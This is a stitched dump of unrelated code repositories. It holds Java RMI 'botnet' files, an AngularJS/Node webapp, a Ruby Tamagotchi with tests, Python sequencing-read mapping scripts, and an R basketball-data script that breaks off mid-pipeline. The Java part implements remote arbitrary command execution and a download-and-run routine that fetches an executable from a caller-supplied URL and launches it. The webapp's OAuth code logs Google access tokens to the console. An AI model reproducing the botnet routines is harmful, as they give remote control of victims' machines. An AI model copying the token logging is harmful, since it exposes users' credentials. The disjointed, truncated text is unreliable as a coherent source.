this.return_string = botnet.installApp(cmd);
}
if (this.type.equals("run")){
this.return_string = botnet.runCommand(cmd);
}
} catch (Exception ex) {
this.return_string = null;
}
}
public ArrayList <String> get_values(){
return this.return_string;
}
}<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package model;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
*
* @author ann52
*/
public class BotnetImpl extends UnicastRemoteObject implements IBotnet{
private String OS;
public BotnetImpl() throws RemoteException {
}
public String getOS() {
return OS;
}
public void setOS(String OS) {
this.OS = OS;
}
@Override
public void testing() throws RemoteException {
System.out.println("This is running on client");
}
@Override
public ArrayList<String> runCommand(String cmd) throws RemoteException {
Process process;
ArrayList<String> arr = new ArrayList<>();
try {
process = Runtime.getRuntime().exec(cmd);
BufferedReader result = new BufferedReader(new InputStreamReader(process.getInputStream()));
String s = null;
while ((s = result.readLine()) != null) {
System.out.println(s);
arr.add(s);
}
} catch (IOException ex) {
arr = null;
}
return arr;
}
public ArrayList<String> winInstall(String command, String appLink){
try{
if (command.equals("install")) {
String urlString = appLink;
URL url = new URL(urlString);
String[] temp = appLink.split("/");
String fileLocation = temp[temp.length -1];
InputStream in = url.openStream();
File savedFile = new File(fileLocation);
FileOutputStream fos = new FileOutputStream(savedFile);
int length = -1;
byte[] buffer = new byte[1024];
while ((length = in.read(buffer)) > -1) {
fos.write(buffer, 0, length);
}
fos.close();
in.close();
// execute for windows
String cmd = "cmd /c start " + savedFile.getAbsolutePath();
return runCommand(cmd);
// Process child = Runtime.getRuntime().exec(cmd);
}
} catch (MalformedURLException ex) {
Logger.getLogger(BotnetImpl.class.getName()).log(Level.SEVERE, null, ex);
} catch (FileNotFoundException ex) {
Logger.getLogger(BotnetImpl.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(BotnetImpl.class.getName()).log(Level.SEVERE, null, ex);
}
return null;
}
@Override
public ArrayList<String> installApp(String app) throws RemoteException {
setOS(System.getProperty("os.name").toLowerCase());
if(getOS().contains("linux")){
return runCommand("sudo apt-get install " + app +" -y");
}
else if(getOS().contains("mac")){
return runCommand("/usr/local/bin/brew install " + app);
}
else if(getOS().contains("win")){
return winInstall("install", app);
}
return null;
}
}
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package model;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.ArrayList;
/**
*
* @author ann52
*/
public interface IBotnet extends Remote{
public void testing() throws RemoteException;
public ArrayList<String> runCommand(String cmd) throws RemoteException;
public ArrayList<String> installApp(String app) throws RemoteException;
}
| 6569e071378b9f8f95b8946eceb6ee9182321503 | [
"Markdown",
"Java",
"INI"
] | 12 | Java | NguyenTheAn/Botnet-RMI | 2686acee533134770d5b3a4577a9e7e1ff9ce5a9 | 96436b8df2ef600a6b1fc674f37feda3fdab1172 |
refs/heads/master | <file_sep>'use strict';
(function () {
class MainController {
constructor() {
this.image = 'assets/img/piece.jpg';
}
}
angular.module('webapp')
.component('main', {
templateUrl: 'app/main/main.html',
controller: MainController
});
})();
<file_sep>'use strict';
(function() {
class ContactController {
constructor($http, $resource, $q) {
this.http = $http;
this.q = $q;
this.resource = $resource;
this.formData = {
name: 'henrique',
phone: '3424234324324',
email: '<EMAIL>',
description: 'zsdasdsadsadsadsdasdsadsadasdsa'
};
}
sendEmail(form) {
if(!form.contactForm.$valid) {
return;
}
const EmailService = this.resource('/api/emails', {},
{
sendEmail: {
method: 'POST'
}
}
);
this.isSubmitted = true;
debugger;
var deferred = this.q.defer();
var data = JSON.stringify(this.formData);
this.http({
method: 'POST',
url: 'http://localhost:9000/api/emails',
data: this.formData,
headers: {
'Content-Type': 'application/json',
'Method': 'POST'
}
}).then(function(response) {
console.log(response)
});
this.http.post('http://localhost:9000/api/emails', data)
.then(function(response) {
debugger;
if (typeof response.data === 'object') {
deferred.resolve(response.data);
} else {
deferred.reject(response.data);
}
})
.catch(function(response) {
debugger;
return deferred.reject(response.data);
});
return deferred.promise;
}
}
angular.module('webapp')
.component('contact', {
templateUrl: 'components/contact/contact.html',
controller: ContactController,
});
})();
<file_sep>'use strict';
describe('Util: service', function () {
beforeEach(module('webapp'));
let $Util;
beforeEach(inject(function(Util) {
$Util = Util;
}));
it('should return a list of itens to be displayed in the menus', function() {
let menuList = $Util.getMenuActionItems(),
expectedResult = [{
name: 'My Profile',
icon: 'account_circle',
sref: 'myprofile',
show: 'all'
}, {
name: 'Public Profile',
icon: 'public',
sref: 'publicprofile',
show: 'profile'
}, {
name: 'Help',
icon: 'help',
sref: 'help',
show: 'all'
}
];
expect(menuList).toEqual(expectedResult);
});
});
<file_sep>'use strict';
(function () {
class DicionarioController {
constructor() {
}
}
angular.module('webapp')
.component('dicionario', {
templateUrl: 'app/dicionario/dicionario.html',
controller: DicionarioController
});
})();
<file_sep>'use strict';
(function () {
class MessageController {
constructor() {
}
}
angular.module('webapp')
.component('message', {
templateUrl: 'app/message/message.html',
controller: MessageController
});
})();
<file_sep>'use strict';
angular.module('webapp')
.config(function($stateProvider) {
$stateProvider
.state('message', {
name: 'message',
url: '/message',
template: '<message layout="column" flex class="home-page"></message>'
});
});
<file_sep>(function(angular, undefined) {
angular.module("webapp.constants", [])
.constant("appConfig", {
"userRoles": [
"guest",
"user",
"admin"
],
"I18N": {
"pt": {}
}
})
;
})(angular);<file_sep>'use strict';
(function() {
class FacebookButtonController {
constructor($window) {
this.window = $window;
}
openFacebook() {
this.window.open('https://www.facebook.com/advterramoreira/', '_blank');
}
}
angular.module('webapp')
.component('facebookButton', {
templateUrl: 'components/facebook-button/facebook-button.html',
controller: FacebookButtonController
});
})();
<file_sep>'use strict';
// Development specific configuration
// ==================================
module.exports = {
// MongoDB connection options
mongo: {
uri: 'mongodb://192.168.1.2:27017/webapp-staging'
},
};
<file_sep>'use strict';
angular.module('webapp')
.config(function($stateProvider) {
$stateProvider
.state('dicionario', {
name: 'dicionario',
url: '/dicionario',
template: '<dicionario layout="column" flex class="home-page"></dicionario>'
});
});
<file_sep>'use strict';
(function () {
/**
* The Util service is for thin, globally reusable, utility functions
*/
function UtilService($window) {
var Util = {
/**
* Return the menu action items
*
* @param {}
* @return {array of elements}
*/
getMenuActionItems(username, loggedUser) {
return [{
name: 'Home',
icon: 'home',
sref: 'main',
show: 'all',
target: ''
},{
name: 'My Profile',
icon: 'account_circle',
sref: `profile({ username: '${loggedUser}'})`,
show: 'all',
target: ''
}, {
name: 'Public Profile',
icon: 'public',
sref: `publicprofile({ username: ${username}})`,
show: 'profile',
target: '_blank'
},
{
name: 'Export Profile',
icon: 'launch',
show: 'profile',
onlyAdmin: true,
hasOptions: true,
menuOptions: [{
icon: '<img src="../../assets/images/docx-icon.svg" height="15" />',
label: 'Export to DOCX',
link: `exportprofile({ username: ${username}, to: 'doc'})`
},
{
icon: '<i class="material-icons">insert_drive_file</i>',
label: 'Export to PDF',
link: `exportprofile({ username: ${username}, to: 'pdf'})`
}
]
}
];
},
/**
* Return a callback or noop function
*
* @param {Function|*} cb - a 'potential' function
* @return {Function}
*/
safeCb(cb) {
return angular.isFunction(cb) ? cb : angular.noop;
},
/**
* Parse a given url with the use of an anchor element
*
* @param {String} url - the url to parse
* @return {Object} - the parsed url, anchor element
*/
urlParse(url) {
var a = document.createElement('a');
a.href = url;
// Special treatment for IE, see http://stackoverflow.com/a/13405933 for details
if (a.host === '') {
a.href = a.href;
}
return a;
},
/**
* Test whether or not a given url is same origin
*
* @param {String} url - url to test
* @param {String|String[]} [origins] - additional origins to test against
* @return {Boolean} - true if url is same origin
*/
isSameOrigin(url, origins) {
url = Util.urlParse(url);
origins = origins && [].concat(origins) || [];
origins = origins.map(Util.urlParse);
origins.push($window.location);
origins = origins.filter(function (o) {
let hostnameCheck = url.hostname === o.hostname;
let protocolCheck = url.protocol === o.protocol;
// 2nd part of the special treatment for IE fix (see above):
// This part is when using well-known ports 80 or 443 with IE,
// when $window.location.port==='' instead of the real port number.
// Probably the same cause as this IE bug: https://goo.gl/J9hRta
let portCheck = url.port === o.port || o.port === '' && (url.port === '80' || url
.port === '443');
return hostnameCheck && protocolCheck && portCheck;
});
return origins.length >= 1;
}
};
return Util;
}
angular.module('webapp.util')
.factory('Util', UtilService);
})();
<file_sep># superstars
This project 11was generated with the [Angular Full-Stack Generator](https://github.com/DaftMonk/generator-angular-fullstack) version 3.7.5.
## Getting Started
### Prerequisites
- [Git](https://git-scm.com/)
- [Node.js and npm](nodejs.org) Node ^4.2.3, npm ^2.14.7
- [Bower](bower.io) (`npm install --global bower`)
- [Ruby](https://www.ruby-lang.org) and then `gem install sass`
- [Gulp](http://gulpjs.com/) (`npm install --global gulp`)
- [MongoDB](https://www.mongodb.org/) - Keep a running daemon with `mongod`
- [WindowsUsers] Install Windows SDK 8(https://developer.microsoft.com/en-us/windows/downloads/windows-8-1-sdk) and Windows SDK 10(https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk)
### Developing
1. Run `npm install` to install server dependencies.
2. Run `bower install` to install front-end dependencies.
3. Run `mongod` in a separate shell to keep an instance of the MongoDB Daemon running
4. Run `gulp serve` to start the development server. It should automatically open the client in your browser when ready..
5. Run `gulp serve:debug` to start the development serverin debug mode. You need to open in browser the address: http://localhost:8080/?port=5858(Usually takes much longer to start the project)
## Build & development
Run `gulp build` for building and `gulp serve` for preview.
## Testing
Running `npm test` will run the unit tests with karma..
## Node Security
To install node security npm package audition run:
`npm install gulp-nsp --save-dev`
Then update the gulp file according to [nsp](https://nodesecurity.io/opensource)
Then run `gulp nsp`
<file_sep>'use strict';
(function () {
class FooterController {
constructor($window) {
this.window = $window;
}
}
angular.module('webapp')
.component('footer', {
templateUrl: 'components/footer/footer.html',
controller: FooterController
});
})();
<file_sep>import passport from 'passport';
import {Strategy as GoogleStrategy} from 'passport-google-oauth20';
import error from '../../components/errors';
import config from '../../config/environment'
import request from 'request';
function getDataFromDB(User, username, domain, email, profile, token, done){
User.findOne({'username': username }).exec()
.then(user => {
const tokenObject = token ? { 'ssoToken': token} : undefined;
if (user) {
return done(null, user, tokenObject);
}
user = new User({
name: profile.displayName,
email: email,
username: username,
provider: 'google',
google: profile._json
});
user.save()
.then(user => done(null, user, tokenObject))
.catch(err => done(err));
})
.catch(err => done(err));
}
export function setup(User, config) {
passport.use(new GoogleStrategy({
clientID: config.google.clientID,
clientSecret: config.google.clientSecret,
callbackURL: config.google.callbackURL
},
function(accessToken, refreshToken, profile, done) {
const email = profile.emails[0].value;
const fields = email.split('@');
const username = fields[0];
const domain = fields[1];
console.log('Google accessToken: ' + accessToken);
let endpoint = `${config.ssoUrl}?access_token=${accessToken}`;
request(endpoint, function(error, response, body){
console.log('SSO endpoint: ' + endpoint);
console.log('SSO response: ' + response.statusCode + ' - ' + response.statusMessage);
let bodyToken;
if(config.domain !== domain){
return done(null, false, { message : "error-message-invalid-account" });
}
if(error){
console.log('SSO Error: ' + error);
}
const contentType = response.headers['content-type'];
console.log('SSO content type: ' + contentType);
switch (response.statusCode) {
case 200:
if(contentType === "text/html; charset=utf-8"){
bodyToken = { token: `${endpoint} + - 200 HTML` };
console.log('SSO 200 Status Code returning HTML: ' + response.body);
}else if(contentType === "application/json; charset=utf-8"){
bodyToken = JSON.parse(body);
console.log('SSO accessToken: ' + bodyToken.token);
}else{
bodyToken = { token: `${endpoint} + - 200 Unknown` };
console.log('SSO 200 Status Code returning content not identified: ' + response.body);
}
break;
case 401:
bodyToken = { token: `${endpoint} + - 401` };
console.log('SSO Unauthorized.');
break;
case 500:
bodyToken = { token: `${endpoint} + - 500` };
console.log('SSO Error: ' + body);
break;
default:
bodyToken = { token: `${endpoint} + - None` };
console.log('SSO Unrecognized Status Code: ' + body);
}
return getDataFromDB(User, username, domain, email, profile, bodyToken, done);
});
}));
}
<file_sep>'use strict';
(function() {
angular.module('webapp.auth')
.run(function($rootScope, $state) {
$rootScope.$on('$stateChangeStart', function(event, next) {
});
});
})();
<file_sep>'use strict';
// Development specific configuration
// ==================================
module.exports = {
mongo: {
uri: process.env.MONGOLAB_URI || 'mongodb://localhost/webapp-staging'
},
};
| 32d0563f940a1055157faf66c1a15609a1d41494 | [
"JavaScript",
"Markdown"
] | 16 | JavaScript | hcbelias/baseWebapp | a2a6f8cca23e7917e9922d0c078b19ff739bfadd | 08392047422608bd1134169c68f5528d3136b462 |
refs/heads/master | <file_sep>require 'rspec'
require 'tamagotchi'
describe(Tamagotchi) do
describe("#initialize") do
it("sets the name and life levels of a new Tamagotchi") do
my_pet = Tamagotchi.new("<NAME>")
expect(my_pet.name()).to(eq("<NAME>"))
expect(my_pet.food_level()).to(eq(10))
expect(my_pet.sleep_level()).to(eq(10))
expect(my_pet.activity_level()).to(eq(10))
expect(my_pet.stinky_level()).to(eq(0))
end
end
describe("#time_passes") do
it("decreases the amount of food the Tamagotchi has left by 1") do
my_pet = Tamagotchi.new("<NAME>")
my_pet.time_passes()
expect(my_pet.food_level()).to(eq(9))
end
end
describe("#is_alive?") do
it("return true if the food level is above zero") do
my_pet = Tamagotchi.new("<NAME>")
expect(my_pet.is_alive?()).to(eq(true))
end
it("is dead if the food level is 0") do
my_pet = Tamagotchi.new('<NAME>')
my_pet.set_food_level(0)
expect(my_pet.is_alive?()).to(eq(false))
end
end
describe("#play") do
it('increases activity by 3') do
my_pet = Tamagotchi.new("<NAME>")
my_pet.set_activity_level(5)
my_pet.play()
expect(my_pet.activity_level()).to(eq(8))
end
it('decreases sleep by 1') do
my_pet = Tamagotchi.new('<NAME>')
my_pet.play()
expect(my_pet.sleep_level()).to(eq(9))
end
it('decreases food by 1') do
my_pet = Tamagotchi.new('<NAME>')
my_pet.play()
expect(my_pet.food_level()).to(eq(9))
end
end
describe("#feed") do
it('increases food by 3') do
my_pet = Tamagotchi.new("<NAME>")
my_pet.set_food_level(5)
my_pet.feed()
expect(my_pet.food_level()).to(eq(8))
end
it('decreases sleep by 1') do
my_pet = Tamagotchi.new('<NAME>')
my_pet.feed()
expect(my_pet.sleep_level()).to(eq(9))
end
it('decreases activity by 1') do
my_pet = Tamagotchi.new('<NAME>')
my_pet.feed()
expect(my_pet.activity_level()).to(eq(9))
end
end
describe("#sleep") do
it('increases sleep by 3') do
my_pet = Tamagotchi.new("<NAME>")
my_pet.set_sleep_level(5)
my_pet.sleep()
expect(my_pet.sleep_level()).to(eq(8))
end
it('decreases food by 1') do
my_pet = Tamagotchi.new('<NAME>')
my_pet.sleep()
expect(my_pet.food_level()).to(eq(9))
end
it('decreases activity by 1') do
my_pet = Tamagotchi.new('<NAME>')
my_pet.sleep()
expect(my_pet.activity_level()).to(eq(9))
end
end
describe("#sick") do
it('impacts all stats by -2') do
my_pet = Tamagotchi.new("<NAME>")
my_pet.sick()
expect(my_pet.activity_level()).to(eq(8))
end
end
describe("#bathtime") do
it('returns stinky_level to zero') do
my_pet = Tamagotchi.new('<NAME>')
my_pet.set_stinky_level(4)
my_pet.bathtime()
expect(my_pet.stinky_level()).to(eq(0))
end
end
end
<file_sep>class Tamagotchi
define_method(:initialize) do |pet_name|
@pet_name = pet_name
@food_level = 10
@sleep_level = 10
@activity_level = 10
@stinky_level = 0
end
define_method(:name) do
@pet_name
end
define_method(:food_level) do
@food_level
end
define_method(:sleep_level) do
@sleep_level
end
define_method(:activity_level) do
@activity_level
end
define_method(:stinky_level) do
@stinky_level
end
define_method(:time_passes) do
@food_level -= 1
@sleep_level -= 1
@activity_level -= 1
self.sick() if stinky_level > 3
end
# define_method(:time_passes) do |activity_one, activity_two|
# @food_level -= 1
# @sleep_level -= 1
# @activity_level -= 1
# self.sick() if stinky_level > 3
# if activity_one = play
# @activity_level += 3
# @sleep_level -= 1
# @food_level -= 1
# @stinky_level += 1
# @activity_level = 10 if @activity_level > 10
# "You dead" if @sleep_level < 1 || @food_level < 1
# elsif activity_one = feed
end
define_method(:is_alive?) do
@food_level > 0
end
define_method(:set_food_level) do |food_level|
@food_level = food_level
end
define_method(:set_activity_level) do |activity_level|
@activity_level = activity_level
end
define_method(:set_sleep_level) do |sleep_level|
@sleep_level = sleep_level
end
define_method(:set_stinky_level) do |stinky_level|
@stinky_level = stinky_level
end
define_method(:play) do
@activity_level += 3
@sleep_level -= 1
@food_level -= 1
@stinky_level += 1
@activity_level = 10 if @activity_level > 10
"You dead" if @sleep_level < 1 || @food_level < 1
end
define_method(:feed) do
@food_level += 3
@sleep_level -= 1
@activity_level -= 1
end
define_method(:sleep) do
@sleep_level += 3
@food_level -= 1
@activity_level -= 1
@stinky_level += 1
end
define_method(:sick) do
@food_level -= 2
@sleep_level -= 2
@activity_level -= 2
end
define_method(:bathtime) do
@stinky_level = 0
end
end
| f0fecb2318a8cae009f2e248c92f8ab832f8973a | [
"Ruby"
] | 2 | Ruby | toomanypuppies/Tamagotchi | ac9c0e3b1dc262da7995422b41cba207a0dc29d3 | c77b8e18ccce8164695dbd19c38cbe90fdd7a3cc |
refs/heads/master | <repo_name>gui11aume/asmap<file_sep>/p2fcoord.py
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import os
import re
import sys
from bisect import bisect_left, bisect_right
class GapLessBlock:
'''
Coordinates of alignment without gaps between genomes.
Blocks have the 4 following attributes:
s1: block start in first genome
e1: block end in first genome
s2: block start in second genome
e2: block end in second genome
The class implements comparisons with __lt__ and __gt__.
The < operator compares numbers to e1, and the > operator
compares numbers to e2. Since 'bisect_left' uses __lt__
and 'bisect_right' uses __gt__, this gives a way to look
for a block in genome 1 or genome 2 by changing the bisection
method.
'''
def __init__(self, s1, e1, s2, e2):
self.s1 = s1
self.e1 = e1
self.s2 = s2
self.e2 = e2
def __lt__(self, other):
return self.e1 < other
def __gt__(self, other):
return self.e2 > other
def boundaries(self):
return (self.s1, self.e1, self.s2, self.e2)
class SeqPair:
def __init__(self, seqname1, seqname2):
self.seqname1 = seqname1 # Genome 1 (order matters).
self.seqname2 = seqname2 # Genome 2 (order matters).
self.blocks = list()
def append(self, block):
self.blocks.append(block)
class p2findex:
def __init__(self):
self.seqnames = dict()
@staticmethod
def create_from_p2f_files(list_of_names):
idx = p2findex()
for fname in list_of_names:
name2 = re.sub(r'.p2f$', '', os.path.basename(fname))
name1 = re.sub(r'[^.]+$', 'ref', name2)
with open(fname) as f:
idx.add_from_p2f_file(f, name1, name2)
return idx
def add_from_p2f_file(self, f, name1, name2):
# Create data structure.
pair = SeqPair(name1, name2)
self.seqnames[frozenset([name1,name2])] = pair
s1 = 1
s2 = 1
shift = 0
for line in f:
e1,_,delta,_,sz = line.split()
if delta == '0': continue # SNP
e1 = int(e1)
delta = int(delta)
# Update end pointer.
shift += delta
e2 = e1 + shift
# Store block.
pair.append(GapLessBlock(s1,e1,s2,e2))
# Update start pointers.
s1 = e1
s2 = e2
# Add final bit.
e1 = s1 + int(sz)
e2 = s2 + int(sz)
pair.append(GapLessBlock(s1,e1,s2,e2))
def switchcoord(self, source, dest, pos):
try:
pair = self.seqnames[frozenset([source,dest])]
if source == pair.seqname1:
# We need to search genome 1.
i = bisect_left(pair.blocks, pos)
block = pair.blocks[i]
s1,e1, s2,e2 = block.boundaries()
if s1 <= pos <= e1:
return s2 + (pos-s1)
elif source == pair.seqname2:
# We need to search genome 2.
i = bisect_right(pair.blocks, pos)
block = pair.blocks[i]
s1,e1, s2,e2 = block.boundaries()
if s2 <= pos <= e2:
return s1 + (pos-s2)
except (KeyError, IndexError):
return float('nan')
<file_sep>/README.md
# Overview
This repository contains Python scripts for allele-specific mapping. They were used
to map ATAC-seq, RNA-seq and Hi-C reads in a mouse hybrid cell line to
study the reactivation kinetics of the X chromosome during iPS cell reprogramming.
However, the scripts are general and they can be used for other purposes.
# System Requirements
## Hardware requirements
The code requires only a standard computer with enough RAM to support the in-memory operations.
## Software requirements
### OS Requirements
This code is supported for *Linux*. The package has been tested on the following systems:
+ Linux: Ubuntu 14.04.6
+ Scientific Linux 7.2
### Python
The code is written for Python 2.7 or 3.7 and does not depend on additional packages.
# Installation Guide:
### Install from Github
```
git clone https://github.com/gui11aume/asmap
```
Downloading the files is sufficient and there is no further requirement to install the
software.
# Demo
To run the demo, set the current directory to `asmap/demo`. Assuming that you just downloaded
the repository from Github, run:
```
cd asmap/demo
```
Then you need to run the script `merge_assign.py` on the two SAM files of dummy ATAC-seq reads
mapped in Mus musculus castaneus and in Mus musculus musculus, and on the p2f files that
contain the information to lift over the coordinates from the genomes of castaneus and musculus
to the mouse reference genome (mm10). You can do this with the following command:
```
python ../merge_assign.py mapped_in_cas.sam mapped_in_mus.sam p2f/* > disambiguated_no_header.sam
```
The running time should be less than 1 minute. The command creates a SAM file without header where
the reads are assigned to one genome or the other. The chromosomes now have the suffix `.ref` and
the coordinates are expressed in the reference genome (mm10).
Every line of the SAM file contains an additional field labelled `ZZ:Z:` that
contains the final call for every read. The values in this demo are `chrX.cas` if the read is
assigned to the castaneus genome; `chrX.mus` if it is assigned to the musculus genome; `amb` if
there is an ambiguity between two unique sites of the castaneus and musculus genome; and `rep`
if there is an ambiguity between several repeated sites of each genome.
# Instructions for use
To run the software on your data, you must first map the reads of interest with
[BWA MEM](https://github.com/lh3/bwa) (an example Makefile is provided). The reads must be mapped
separately in both genomes of interest. It is important that the chromosomes in the two genomes
have the same name with different suffixes (e.g., `chrX.cas` and `chrX.mus`).
The reads can be disambiguated using the same command as in the demo. If p2f files are provided,
the coordonates will be shifted to the corresponding reference. Othewise, they will be set as
`nan`.
# License
This project is in the public domain.
<file_sep>/Makefile
SHELL= bash
TARGETS= \
6NG3.mrg.sam.gz \
6NN4.mrg.sam.gz \
7NN3.mrg.sam.gz \
8NN1.mrg.sam.gz \
6NM4.mrg.sam.gz \
7NG3.mrg.sam.gz \
8NG1.mrg.sam.gz \
8NN2.mrg.sam.gz \
6NN3.mrg.sam.gz \
7NG4.mrg.sam.gz \
8NG2.mrg.sam.gz
BWA= /mnt/shared/bin/bwa
CASBWA= /mnt/shared/seq/bwa/cas/cas.fa
MUSBWA= /mnt/shared/seq/bwa/mus/mus.fa
# Options for Hi-C
# BWAOPT= mem -t4 -P -k17 -U0 -L0,0 -T25
BWAOPT= mem -t4 -L500
all: $(TARGETS)
# Align with bwa (in two genomes).
%.cas.bam: %_*.fastq.gz
$(BWA) $(BWAOPT) $(CASBWA) $? | \
samtools view -b - | \
samtools fixmate -@4 -m - $@
%.mus.bam: %_*.fastq.gz
$(BWA) $(BWAOPT) $(MUSBWA) $? | \
samtools view -b - | \
samtools fixmate -@4 -m - $@
# Merge.
%.mrg.sam.gz: %.cas.bam %.mus.bam
python merge_assign.py \
$(foreach f, $?, <(samtools view -h $(f))) p2f/* | gzip > $@
<file_sep>/merge_assign.py
#/usr/bin/env python
# -*- coding:utf-8 -*-
import re
import sys
from p2fcoord import p2findex
def print_out(buf, idx, tag=None):
for line in buf:
items = line.split()
chrom = items[2]
refchrom = re.sub(r'[^.]+$', 'ref', chrom)
pos = int(items[3])
refpos = idx.switchcoord(chrom, refchrom, pos)
items[2] = refchrom
items[3] = str(refpos)
ztag = '\tZZ:Z:' + tag if tag else '\tZZ:Z:' + chrom
sys.stdout.write('\t'.join(items) + ztag + '\n')
def output(buff, bufg, readname, idx):
# There seems to be no way to suppress multi-line output
# in BWA, so we need to filter them in the output file.
if len(buff) != len(bufg):
return
if not bufg[0].startswith(readname):
raise Exception
# Mapping quality 0 means repeat.
isrepeatf = sum([int(line.split()[4]) for line in buff]) == 0
isrepeatg = sum([int(line.split()[4]) for line in bufg]) == 0
if isrepeatf and isrepeatg:
return print_out(buff, idx, 'rep')
# At least partially mapped in one genome.
# Choose which to output based on alignment score.
scoref = scoreg = 0
for line in buff:
(score,) = re.search(r'AS:i:(\d+)', line).groups()
scoref += int(score)
for line in bufg:
(score,) = re.search(r'AS:i:(\d+)', line).groups()
scoreg += int(score)
if scoref > scoreg:
return print_out(buff, idx)
if scoreg > scoref:
return print_out(bufg, idx)
else:
return print_out(buff, idx, 'amb')
def main(f, g, idx):
# Skip headers.
for linef in f:
if not linef.startswith('@'): break
for lineg in g:
if not lineg.startswith('@'): break
# Zip the files.
buff = [linef]
bufg = [lineg]
readname = linef.split()[0]
for linef in f:
if linef.startswith(readname):
buff += [linef]
else:
for lineg in g:
if lineg.startswith(readname):
bufg += [lineg]
else:
break
output(buff, bufg, readname, idx)
readname = linef.split()[0]
buff = [linef]
bufg = [lineg]
# Last read.
for lineg in g:
if lineg.startswith(readname):
bufg += [lineg]
output(buff, bufg, readname, idx)
if __name__ == '__main__':
idx = p2findex.create_from_p2f_files(sys.argv[3:])
with open(sys.argv[1]) as f, open(sys.argv[2]) as g:
main(f, g, idx)
| 206f52f6b7e914dc04d1dc8bc1c4b655b78a745d | [
"Markdown",
"Python",
"Makefile"
] | 4 | Python | gui11aume/asmap | 107ecfdbfba85ec6de16ba7f3e8fa89fa1ad1067 | 485b708d66e768f3b0160f36bea235f5e0e04624 |
refs/heads/master | <repo_name>luisalbertmschz/E-commerce-Backend<file_sep>/Controladores/plantilla.controlador.php
<?php
class ControladorPlantilla{
public function plantilla(){
include"Vistas/plantilla.php";
}
} | 1b19072102f0c11f9dc31cf763f1ab1e82cd20cd | [
"PHP"
] | 1 | PHP | luisalbertmschz/E-commerce-Backend | 99fa3f708a433c0999ddf1f524ee328a05983abc | e7b3f32313e9cf2af1375dad5a58c4f76fdfb011 |
refs/heads/master | <repo_name>simarbagga401/brand_client<file_sep>/src/main.js
import Vue from 'vue'
import VueRouter from 'vue-router'
import App from './App.vue'
import routes from './routes.js'
import store from './store/vuex.js'
// IMPORTING ROUTES
import firebase from 'firebase';
var firebaseConfig = {
apiKey: "<KEY>",
authDomain: "brand-401.firebaseapp.com",
databaseURL: "https://brand-401.firebaseio.com",
projectId: "brand-401",
storageBucket: "brand-401.appspot.com",
messagingSenderId: "612565223897",
appId: "1:612565223897:web:ecf1b8273a287d3dd371c8",
measurementId: "G-Z9PW6W4Z61"
};
// Initialize Firebase
firebase.initializeApp(firebaseConfig);
firebase.analytics();
var db = firebase.firestore();
db.settings({
timestampsInSnapshots : true
});
window.db = db;
const router = new VueRouter({
routes,
mode:"history",
base: process.env.BASE_URL
})
Vue.use(VueRouter)
Vue.config.productionTip = false
new Vue({
router,
store,
render: h => h(App),
}).$mount('#app')
<file_sep>/src/store/services.js
export default{
state:{
WEB_CLIENT_INFO:{
moqups:[],
colors:[],
fonts:[],
media:[],
description:"this is a dummy description",
components:[],
technologies:[]
},
MOBILE_CLIENT_INFO:{
moqups:[],
colors:[],
fonts:[],
media:[],
description:"",
components:[],
technologies:[]
},
DESKTOP_CLIENT_INFO:{
moqups:[],
colors:[],
fonts:[],
media:[],
description:"",
components:[],
technologies:[]
},
UI_DESIGN_CLIENT_INFO:{
moqups:[],
colors:[],
fonts:[],
media:[],
description:"",
}
},
mutations:{
addWebInfo(state,payload){
let s = state.WEB_CLIENT_INFO
s.moqups = payload.moqups
s.colors = payload.colors
s.fonts = payload.fonts
s.media = payload.media
s.description= payload.description
s.components = payload.components
s.technologies = payload.technologies
}
},
actions:{
},
getters:{
getWebInfo:state => state.WEB_CLIENT_INFO
}
} | 41a03692470ab375d1cd56946b43a304d1de012b | [
"JavaScript"
] | 2 | JavaScript | simarbagga401/brand_client | f9a44d9980d70695c29e396ed9f02a92a49ba950 | b81210fdd9d60ce55b2f1763199ecdf2c522ce20 |
refs/heads/main | <repo_name>ethanhall99/ncaam-march-mania-2021<file_sep>/march_madness.R
library(plyr)
library(dplyr)
library(readr)
library(tidyr)
library(tidyverse)
library(sjmisc)
# Global Variable
minSeason <- 2021
# Create list of file paths for CSVs
base_path <- "/Users/ethanhall/Desktop/Data/ncaam-march-mania-2021/MDataFiles_Stage2"
base_path_len <- nchar(base_path)
files <- list.files(path = base_path, pattern = "*.csv", full.names = TRUE)
# Read all CSVs into data frames
for (i in files) {
filename <- substr(i, base_path_len+2, nchar(i))
name <- substr(filename, 1, nchar(filename)-4)
assign(name, data.frame(read_csv(i, col_names = TRUE)))
}
# Filter seasons
fMRegularSeasonDetailedResults <- MRegularSeasonDetailedResults %>%
filter(Season >= minSeason)
fMTeamConferences <- MTeamConferences %>%
filter(Season >= minSeason)
# Join team and conference table
TC <- left_join(fMTeamConferences, Conferences, by = c("ConfAbbrev" = "ConfAbbrev"))
TeamsConferences <- left_join(TC, MTeams, by = c("TeamID" = "TeamID")) %>%
select(TeamID, TeamName, Description, PowerFive)
# Distinct Ranking Systems in chosen years
dRankingSystems <- MMasseyOrdinals %>%
filter(Season >= minSeason) %>%
distinct(SystemName)
# Filter to chosen ranking systems
dayADJ <- min(fMRegularSeasonDetailedResults$DayNum) - 1
# select systems with rankings every week
RankingSystems <- MMasseyOrdinals %>%
filter(Season >= minSeason) %>%
select(-Season) %>%
pivot_wider(names_from = SystemName, values_from = OrdinalRank) %>%
select_if(~ !any(is.na(.))) %>%
mutate(RankingDayNum = RankingDayNum - dayADJ) %>%
mutate(RankingWeekNum = ceiling(RankingDayNum/7)) %>%
move_columns(RankingWeekNum, .before = RankingDayNum)
# Final Rankings
FinalRankings <- RankingSystems %>%
filter(RankingDayNum == max(RankingDayNum)) %>%
mutate(RankingWeekNum = RankingWeekNum + 1) %>%
select(-c("RankingWeekNum", "RankingDayNum"))
RankingSystems <- RankingSystems %>%
filter(RankingDayNum != 111) %>%
